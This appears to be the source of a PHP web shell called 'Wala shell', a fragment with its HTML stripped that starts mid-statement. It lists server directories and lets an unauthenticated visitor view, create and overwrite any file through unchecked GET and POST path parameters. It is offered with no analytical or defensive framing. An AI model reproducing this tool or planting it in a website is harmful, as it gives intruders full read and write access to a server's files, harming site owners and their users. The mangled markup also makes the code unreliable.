Wala shell
Directory: $dir"; // Display link to go back to the parent directory $parentDir = dirname($dir); if ($dir !== '/') { echo "Go Back
"; } // Display option to create a new file echo "

"; // Display list of directories and files echo ""; } // Function to create a new file function createFile($dir, $fileName) { $filePath = "$dir/$fileName"; if (!file_exists($filePath)) { file_put_contents($filePath, ""); // Create an empty file echo "

File '$fileName' created successfully!

"; } else { echo "

File '$fileName' already exists.

"; } } // Function to view file content function viewFile($filePath) { if (file_exists($filePath) && is_file($filePath)) { $content = htmlspecialchars(file_get_contents($filePath)); echo "

Viewing File: $filePath

"; echo "
$content
"; echo "Back to Directory"; } else { echo "

File not found.

"; } } // Function to edit file content function editFile($filePath) { if (isset($_POST['content'])) { file_put_contents($filePath, $_POST['content']); echo "

File saved successfully!

"; } $content = htmlspecialchars(file_get_contents($filePath)); echo "

Editing File: $filePath

"; echo "

"; echo "Back to Directory"; } // Determine what action to take if (isset($_GET['view'])) { $filePath = realpath($_GET['view']); viewFile($filePath); } elseif (isset($_GET['edit'])) { $filePath = realpath($_GET['edit']); editFile($filePath); } elseif (isset($_POST['create_file']) && !empty($_POST['new_file_name'])) { $currentDir = isset($_GET['dir']) ? $_GET['dir'] : '.'; $currentDir = realpath($currentDir); createFile($currentDir, $_POST['new_file_name']); listDirectory($currentDir); } else { $currentDir = isset($_GET['dir']) ? $_GET['dir'] : '.'; $currentDir = realpath($currentDir); if ($currentDir === false || !is_dir($currentDir)) { die('Invalid directory.'); } listDirectory($currentDir); } ?>